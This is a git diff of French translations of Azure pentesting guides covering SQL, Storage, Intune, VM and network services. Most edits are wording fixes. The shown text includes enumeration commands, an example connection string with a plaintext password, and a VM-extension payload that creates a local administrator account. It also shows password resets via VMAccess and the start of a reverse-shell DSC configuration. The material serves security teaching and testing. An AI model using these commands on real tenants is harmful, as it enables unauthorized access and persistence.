- **Bases de données uniques** : Chaque base de données est isolée et dispose de ses propres ressources de calcul, de mémoire et de stockage dédiées. Les ressources peuvent être évoluées dynamiquement (vers le haut ou vers le bas) sans temps d'arrêt (1 à 128 vCores, 32 Go à 4 To de stockage, et jusqu'à 128 To).
- **Pools élastiques** : Partagent des ressources entre plusieurs bases de données dans un pool pour maximiser l'efficacité et réduire les coûts. Les ressources peuvent également être évoluées dynamiquement pour l'ensemble du pool.
- **Flexibilité des niveaux de service** : Commencez petit avec une base de données unique dans le niveau usage général. Passez aux niveaux critique pour les entreprises ou hyperscale à mesure que les besoins augmentent.
- **Options d'évolutivité** : Évolutivité dynamique ou alternatives d'autoscaling.
#### Surveillance et optimisation intégrées
@@ -53,7 +53,7 @@ Azure SQL Database prend en charge des options de déploiement flexibles pour r
- **Réglage automatique** : Optimise proactivement la performance avec des fonctionnalités telles que l'indexation automatique et les corrections de plans de requêtes.
- **Intégration de télémétrie** : Prend en charge la surveillance via Azure Monitor, Event Hubs ou Azure Storage pour des insights personnalisés.
#### Récupération après sinistre & Disponibilité
#### Récupération après sinistre et disponibilité
- **Sauvegardes automatiques** : SQL Database effectue automatiquement des sauvegardes complètes, différentielles et de journaux de transactions des bases de données.
- **Restauration à un instant donné** : Récupérez les bases de données à tout état passé dans la période de rétention des sauvegardes.
@@ -62,14 +62,14 @@ Azure SQL Database prend en charge des options de déploiement flexibles pour r
### Azure SQL Managed Instance
**Azure SQL Managed Instance** est un moteur de base de données en tant que service (PaaS) qui offre une compatibilité presque à 100 % avec SQL Server et gère automatiquement la plupart des tâches de gestion (par exemple, mise à niveau, correctifs, sauvegardes, surveillance). Il fournit une solution cloud pour migrer les bases de données SQL Server sur site avec des changements minimes.
**Azure SQL Managed Instance** est un moteur de base de données en tant que service (PaaS) qui offre une compatibilité presque totale avec SQL Server et gère automatiquement la plupart des tâches de gestion (par exemple, mise à niveau, correctifs, sauvegardes, surveillance). Il fournit une solution cloud pour migrer les bases de données SQL Server sur site avec des modifications minimales.
#### Niveaux de Service
#### Niveaux de service
- **Usage Général** : Option économique pour les applications avec des exigences standard en matière d'I/O et de latence.
- **Critique pour les affaires** : Option haute performance avec une faible latence I/O pour les charges de travail critiques.
- **Usage général** : Option économique pour les applications avec des exigences standard en matière d'I/O et de latence.
- **Critique pour les entreprises** : Option haute performance avec une faible latence I/O pour des charges de travail critiques.
#### Fonctionnalités de Sécurité Avancées
#### Fonctionnalités de sécurité avancées
* **Protection contre les menaces** : Alertes de protection avancée contre les menaces pour les activités suspectes et les attaques par injection SQL. Audit pour suivre et enregistrer les événements de base de données pour la conformité.
* **Contrôle d'accès** : Authentification Microsoft Entra pour une gestion centralisée des identités. Sécurité au niveau des lignes et masquage dynamique des données pour un contrôle d'accès granulaire.
@@ -77,17 +77,17 @@ Azure SQL Database prend en charge des options de déploiement flexibles pour r
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines** est le mieux adapté pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site. Il peut avoir différentes tailles de machines et une large sélection de versions et d'éditions de SQL Server.
**Azure SQL Virtual Machines** est préférable pour les migrations où vous souhaitez **contrôler le système d'exploitation et l'instance SQL Server**, comme si c'était un serveur fonctionnant sur site. Il peut avoir différentes tailles de machines et une large sélection de versions et d'éditions de SQL Server.
#### Caractéristiques Clés
#### Caractéristiques clés
**Sauvegarde Automatisée** : Planifiez des sauvegardes pour les bases de données SQL.
**Mise à jour Automatique** : Automatise l'installation des mises à jour de Windows et de SQL Server pendant une fenêtre de maintenance.
**Intégration de Azure Key Vault** : Configure automatiquement Key Vault pour les VMs SQL Server.
**Intégration de Defender for Cloud** : Voir les recommandations de Defender for SQL dans le portail.
**Flexibilité de Version/Édition** : Changez les métadonnées de version ou d'édition de SQL Server sans redéployer la VM.
**Sauvegarde automatisée** : Planifiez des sauvegardes pour les bases de données SQL.
**Mise à jour automatique** : Automatise l'installation des mises à jour de Windows et de SQL Server pendant une fenêtre de maintenance.
**Intégration de Azure Key Vault** : Configure automatiquement Key Vault pour les machines virtuelles SQL Server.
**Intégration de Defender for Cloud** : Consultez les recommandations de Defender for SQL dans le portail.
**Flexibilité de version/édition** : Changez les métadonnées de version ou d'édition de SQL Server sans redéployer la machine virtuelle.
#### Fonctionnalités de Sécurité
#### Fonctionnalités de sécurité
**Microsoft Defender for SQL** : Insights et alertes de sécurité.
**Intégration de Azure Key Vault** : Stockage sécurisé des identifiants et des clés de chiffrement.
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -209,7 +209,7 @@ Get-AzSqlVM
### Connecter et exécuter des requêtes SQL
Vous pourriez trouver une chaîne de connexion (contenant des identifiants) dans l'exemple [énumérer un Az WebApp](az-app-services.md) :
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -228,7 +228,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
Vous pouvez également utiliser sqlcmd pour accéder à la base de données. Il est important de savoir si le serveur autorise les connexions publiques `az sql server show --name <server-name> --resource-group <resource-group>`, et aussi si la règle de pare-feu permet à notre IP d'accéder :
```powershell
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## Références

22
src/pentesting-cloud/azure-security/az-services/az-storage.md
View File

@@ -4,7 +4,7 @@
## Informations de base
Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azure qui fournissent un **stockage cloud évolutif, sécurisé et hautement disponible pour divers types de données**, y compris les blobs (objets binaires volumineux), les fichiers, les files d'attente et les tables. Ils servent de conteneurs qui regroupent ces différents services de stockage sous un seul espace de noms pour une gestion facile.
Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azure qui fournissent un **stockage cloud évolutif, sécurisé et hautement disponible pour divers types de données**, y compris les blobs (objets binaires volumineux), les fichiers, les files d'attente et les tables. Ils servent de conteneurs qui regroupent ces différents services de stockage sous un même espace de noms pour une gestion facile.
**Options de configuration principales** :
@@ -24,7 +24,7 @@ Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azur
**Options de stockage de blobs** :
- **Autoriser la réplication inter-locataires**.
- **Niveau d'accès** : Chaud (données fréquemment accessibles), Froid et Glacial (données rarement accessibles).
- **Niveau d'accès** : Chaud (données fréquemment accessibles), Froid et Très Froid (données rarement accessibles).
**Options de mise en réseau** :
@@ -40,8 +40,8 @@ Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azur
- Cela nécessite que la version, le flux de modifications et la suppression douce des blobs soient activés.
- **Activer la suppression douce pour les blobs** : Cela active une période de conservation en jours pour les blobs supprimés (même écrasés).
- **Activer la suppression douce pour les conteneurs** : Cela active une période de conservation en jours pour les conteneurs supprimés.
- **Activer la suppression douce pour les partages de fichiers** : Cela active une période de conservation en jours pour les fichiers partagés supprimés.
- **Activer la versionnage pour les blobs** : Maintenir les versions précédentes de vos blobs.
- **Activer la suppression douce pour les partages de fichiers** : Cela active une période de conservation en jours pour les partages de fichiers supprimés.
- **Activer la version pour les blobs** : Maintenir les versions précédentes de vos blobs.
- **Activer le flux de modifications des blobs** : Conserver des journaux des créations, modifications et suppressions des blobs.
- **Activer le support d'immuabilité au niveau de la version** : Vous permet de définir une politique de conservation basée sur le temps au niveau du compte qui s'appliquera à toutes les versions de blobs.
- Le support d'immuabilité au niveau de la version et la restauration à un instant donné pour les conteneurs ne peuvent pas être activés simultanément.
@@ -53,7 +53,7 @@ Les comptes de stockage Azure sont des services fondamentaux dans Microsoft Azur
### Points de terminaison de stockage
<table data-header-hidden><thead><tr><th width="197">Service de stockage</th><th>Point de terminaison</th></tr></thead><tbody><tr><td><strong>Stockage de blobs</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Stockage Data Lake</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Stockage de files d'attente</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Stockage de tables</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Service de stockage</th><th>Point de terminaison</th></tr></thead><tbody><tr><td><strong>Stockage de blobs</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Stockage de Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Stockage de files d'attente</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Stockage de tables</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Exposition publique
@@ -65,7 +65,7 @@ Si "Autoriser l'accès public aux blobs" est **activé** (désactivé par défau
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
### Se connecter au stockage
### Connexion au stockage
Si vous trouvez un **stockage** auquel vous pouvez vous connecter, vous pouvez utiliser l'outil [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) pour le faire.
@@ -73,7 +73,7 @@ Si vous trouvez un **stockage** auquel vous pouvez vous connecter, vous pouvez u
### RBAC
Il est possible d'utiliser des principes Entra ID avec des **rôles RBAC** pour accéder aux comptes de stockage et c'est la méthode recommandée.
Il est possible d'utiliser des identifiants Entra ID avec des **rôles RBAC** pour accéder aux comptes de stockage et c'est la méthode recommandée.
### Clés d'accès
@@ -89,7 +89,7 @@ Il est possible de [**générer des clés partagées**](https://learn.microsoft.
> Notez que la partie `CanonicalizedResource` représente la ressource des services de stockage (URI). Et si une partie de l'URL est encodée, elle doit également être encodée à l'intérieur de `CanonicalizedResource`.
> [!NOTE]
> Ceci est **utilisé par défaut par `az` cli** pour authentifier les demandes. Pour le faire utiliser les identifiants du principal Entra ID, indiquez le paramètre `--auth-mode login`.
> Ceci est **utilisé par défaut par `az` cli** pour authentifier les demandes. Pour qu'il utilise les identifiants de l'identifiant Entra, indiquez le paramètre `--auth-mode login`.
- Il est possible de générer une **clé partagée pour les services de blobs, de files d'attente et de fichiers** en signant les informations suivantes :
```bash
@@ -125,7 +125,7 @@ Date + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- Il est possible de générer une **clé partagée légère pour les services de table** en signant les informations suivantes :
- Il est possible de générer une **lite shared key for table services** en signant les informations suivantes :
```bash
StringToSign = Date + "\n"
CanonicalizedResource
@@ -189,7 +189,7 @@ Azure Blob Storage prend désormais en charge le protocole de transfert de fichi
### Exigences de configuration
- Espace de noms hiérarchique : HNS doit être activé lors de la création du compte de stockage.
- Chiffrement pris en charge : Nécessite des algorithmes cryptographiques approuvés par le cycle de vie de développement de sécurité de Microsoft (SDL) (par exemple, rsa-sha2-256, ecdsa-sha2-nistp256).
- Chiffrement pris en charge : Nécessite des algorithmes cryptographiques approuvés par le cycle de développement de sécurité de Microsoft (SDL) (par exemple, rsa-sha2-256, ecdsa-sha2-nistp256).
- Configuration SFTP :
- Activer SFTP sur le compte de stockage.
- Créer des identités d'utilisateur local avec les autorisations appropriées.
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

4
src/pentesting-cloud/azure-security/az-services/az-table-storage.md
View File

@@ -17,7 +17,7 @@ Il **n'y a pas de mécanisme de sauvegarde intégré** pour le stockage de table
#### **RowKey**
- Le **RowKey est l'identifiant unique** d'une entité au sein d'une partition. Lorsqu'il est combiné avec le PartitionKey, il garantit que chaque entité dans la table a un identifiant unique au niveau mondial.
- Le **RowKey est l'identifiant unique** d'une entité au sein d'une partition. Lorsqu'il est combiné avec le PartitionKey, il garantit que chaque entité dans la table a un identifiant globalement unique.
- Exemple : Pour la partition `"RH"`, `RowKey` pourrait être un identifiant d'employé, par exemple, `"12345"`.
#### **Autres Propriétés (Propriétés Personnalisées)**
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount

2
src/pentesting-cloud/azure-security/az-services/intune.md
View File

@@ -10,7 +10,7 @@ Microsoft Intune est conçu pour rationaliser le processus de **gestion des appl
Un utilisateur avec le rôle de **Global Administrator** ou **Intune Administrator** peut exécuter des **scripts PowerShell** sur n'importe quel **appareil Windows inscrit**.\
Le **script** s'exécute avec les **privileges** de **SYSTEM** sur l'appareil une seule fois s'il ne change pas, et depuis Intune, il est **impossible de voir la sortie** du script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. Connectez-vous à [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ou utilisez Pass-The-PRT

38
src/pentesting-cloud/azure-security/az-services/vms/README.md
View File

@@ -26,12 +26,12 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
- Il est également possible d'activer **le chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Groupe de sécurité réseau NIC** :
- **Aucun** : Ouvre essentiellement tous les ports
- **De base** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Basique** : Permet d'ouvrir facilement les ports entrants HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Avancé** : Sélectionnez un groupe de sécurité
- **Sauvegarde** : Il est possible d'activer une sauvegarde **standard** (une par jour) et **améliorée** (plusieurs par jour)
- **Sauvegarde** : Il est possible d'activer une sauvegarde **Standard** (une par jour) et **Améliorée** (plusieurs par jour)
- **Options d'orchestration des correctifs** : Cela permet d'appliquer automatiquement des correctifs dans les VM selon la politique sélectionnée comme décrit dans les [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Alertes** : Il est possible de recevoir automatiquement des alertes par e-mail ou par application mobile lorsque quelque chose se produit dans la VM. Règles par défaut :
- Pourcentage de CPU supérieur à 80%
- Pourcentage CPU supérieur à 80%
- Octets de mémoire disponibles inférieurs à 1 Go
- Pourcentage d'I/O consommé par les disques de données supérieur à 95%
- Pourcentage d'I/O consommé par le système d'exploitation supérieur à 95%
@@ -39,7 +39,7 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
- Réseau sortant total supérieur à 200 Go
- VmAvailabilityMetric inférieur à 1
- **Moniteur de santé** : Par défaut, vérifie le protocole HTTP sur le port 80
- **Verrous** : Cela permet de verrouiller une VM afin qu'elle ne puisse être que lue (**verrouillage en lecture seule**) ou qu'elle puisse être lue et mise à jour mais pas supprimée (**verrouillage ne peut pas être supprimé**).
- **Verrous** : Cela permet de verrouiller une VM afin qu'elle ne puisse être que lue (**Verrouillage en lecture seule**) ou qu'elle puisse être lue et mise à jour mais pas supprimée (**Verrouillage non supprimable**).
- La plupart des ressources liées aux VM **prennent également en charge les verrous** comme les disques, les instantanés...
- Les verrous peuvent également être appliqués au **niveau du groupe de ressources et de l'abonnement**
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -76,7 +76,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Images, Images de galerie & Points de restauration
Une **image de VM** est un modèle qui contient le système d'exploitation, les paramètres d'application et le système de fichiers nécessaires pour **créer une nouvelle machine virtuelle (VM)**. La différence entre une image et un instantané de disque est qu'un instantané de disque est une copie en lecture seule, à un moment donné, d'un seul disque géré, utilisé principalement pour la sauvegarde ou le dépannage, tandis qu'une image peut contenir **plusieurs disques et est conçue pour servir de modèle pour créer de nouvelles VMs**.\
Une **image de VM** est un modèle qui contient le système d'exploitation, les paramètres d'application et le système de fichiers nécessaires pour **créer une nouvelle machine virtuelle (VM)**. La différence entre une image et un instantané de disque est qu'un instantané de disque est une copie en lecture seule, à un moment donné, d'un seul disque géré, utilisée principalement pour la sauvegarde ou le dépannage, tandis qu'une image peut contenir **plusieurs disques et est conçue pour servir de modèle pour créer de nouvelles VMs**.\
Les images peuvent être gérées dans la **section Images** d'Azure ou à l'intérieur des **galeries de calcul Azure**, ce qui permet de générer des **versions** et de **partager** l'image entre locataires ou même de la rendre publique.
Un **point de restauration** stocke la configuration de la VM et des **instantanés cohérents au moment donné** de toutes les disques gérés attachés à la VM. Il est lié à la VM et son but est de pouvoir restaurer cette VM à son état à ce moment précis.
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal à un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que l'emplacement principal est de nouveau opérationnel, vous pouvez y revenir.
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal vers un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que le site principal est de nouveau opérationnel, vous pouvez y revenir.
## Azure Bastion
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -189,7 +189,7 @@ Get-AzBastion
## Métadonnées
Le service de métadonnées d'instance Azure (IMDS) **fournit des informations sur les instances de machines virtuelles en cours d'exécution** pour aider à leur gestion et configuration. Il offre des détails tels que le SKU, le stockage, les configurations réseau et des informations sur les événements de maintenance à venir via **l'API REST disponible à l'adresse IP non routable 169.254.169.254**, qui est accessible uniquement depuis la VM. La communication entre la VM et l'IMDS reste à l'intérieur de l'hôte, garantissant un accès sécurisé. Lors de l'interrogation de l'IMDS, les clients HTTP à l'intérieur de la VM doivent contourner les proxies web pour assurer une communication appropriée.
Le service de métadonnées d'instance Azure (IMDS) **fournit des informations sur les instances de machines virtuelles en cours d'exécution** pour aider à leur gestion et configuration. Il offre des détails tels que le SKU, le stockage, les configurations réseau et des informations sur les événements de maintenance à venir via **l'API REST disponible à l'adresse IP non routable 169.254.169.254**, qui est accessible uniquement depuis l'intérieur de la VM. La communication entre la VM et l'IMDS reste à l'intérieur de l'hôte, garantissant un accès sécurisé. Lors de l'interrogation de l'IMDS, les clients HTTP à l'intérieur de la VM doivent contourner les proxies web pour assurer une communication appropriée.
De plus, pour contacter le point de terminaison des métadonnées, la requête HTTP doit avoir l'en-tête **`Metadata: true`** et ne doit pas avoir l'en-tête **`X-Forwarded-For`**.
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -523,7 +523,7 @@ az vm extension set \
Vous pouvez également exécuter d'autres charges utiles comme : `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Réinitialiser le mot de passe en utilisant l'extension VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -539,8 +539,8 @@ L'autorisation requise est toujours **`Microsoft.Compute/virtualMachines/extensi
<summary>Extension VMAccess</summary>
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
```powershell
Cette extension permet de modifier le mot de passe (ou de créer s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
C'est une **extension VM** qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour **exécuter des commandes arbitraires** dans les VMs Windows via cette extension :
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-automation-account/index.html).
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service Automation Accounts](../az-automation-account/index.html).
</details>
@@ -728,9 +728,9 @@ Ceci est **des données persistantes** qui peuvent être récupérées à partir
Il est possible de passer certaines données à la VM qui seront stockées dans des chemins attendus :
- Dans **Windows**, les données personnalisées sont placées dans `%SYSTEMDRIVE%\AzureData\CustomData.bin` en tant que fichier binaire et ne sont pas traitées.
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et maintenant elles sont stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et sont maintenant stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agent Linux** : Il ne traite pas les données personnalisées par défaut, une image personnalisée avec les données activées est nécessaire
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être au format [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant juste le script dans les données personnalisées.
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être dans [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant simplement le script dans les données personnalisées.
- J'ai essayé que les deux Ubuntu et Debian exécutent le script que vous mettez ici.
- Il n'est également pas nécessaire d'activer les données utilisateur pour que cela soit exécuté.
```bash

70
src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
View File

@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu à état** qui filtre le trafic en fonction de règles pour les Couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu stateful** qui filtre le trafic en fonction de règles pour les Couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
Il est disponible en trois SKUs—**Basique**, **Standard** et **Premium**, chacun adapté à des besoins spécifiques des clients :
Il est disponible en trois SKUs—**Basic**, **Standard** et **Premium**, chacun adapté à des besoins spécifiques des clients :
| **Cas d'utilisation recommandé** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage Couches 3–7 | Environnements hautement sensibles (par exemple, traitement des paiements) |
| -------------------------------- | ----------------------------------------------------------- | ------------------------------------------------------- | --------------------------------------------------------- |
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
| **Intelligence sur les menaces**| Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (intelligence sur les menaces avancées)|
| **Filtrage L3–L7** | Filtrage de base | Filtrage à état à travers les protocoles | Filtrage à état avec inspection avancée |
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur l'intelligence des menaces | Inclut le Système de Détection et de Prévention d'Intrusion (IDPS) |
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de Pare-feu | Géré via le Gestionnaire de Pare-feu |
| ------------------------------- | ---------------------------------------------------------- | ------------------------------------------------------ | --------------------------------------------------------- |
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
| **Intelligence sur les menaces**| Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (intelligence sur les menaces avancées) |
| **Filtrage L3–L7** | Filtrage de base | Filtrage stateful à travers les protocoles | Filtrage stateful avec inspection avancée |
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur l'intelligence des menaces | Inclut un système de détection et de prévention des intrusions (IDPS) |
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de pare-feu | Géré via le Gestionnaire de pare-feu |
### Enumeration
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -173,14 +173,14 @@ Get-AzRouteTable
Azure Private Link est un service dans Azure qui **permet un accès privé aux services Azure** en garantissant que **le trafic entre votre réseau virtuel Azure (VNet) et le service circule entièrement au sein du réseau backbone de Microsoft Azure**. Cela intègre efficacement le service dans votre VNet. Cette configuration améliore la sécurité en ne rendant pas les données accessibles sur Internet public.
Private Link peut être utilisé avec divers services Azure, comme Azure Storage, Azure SQL Database et des services personnalisés partagés via Private Link. Il fournit un moyen sécurisé de consommer des services depuis votre propre VNet ou même depuis différentes souscriptions Azure.
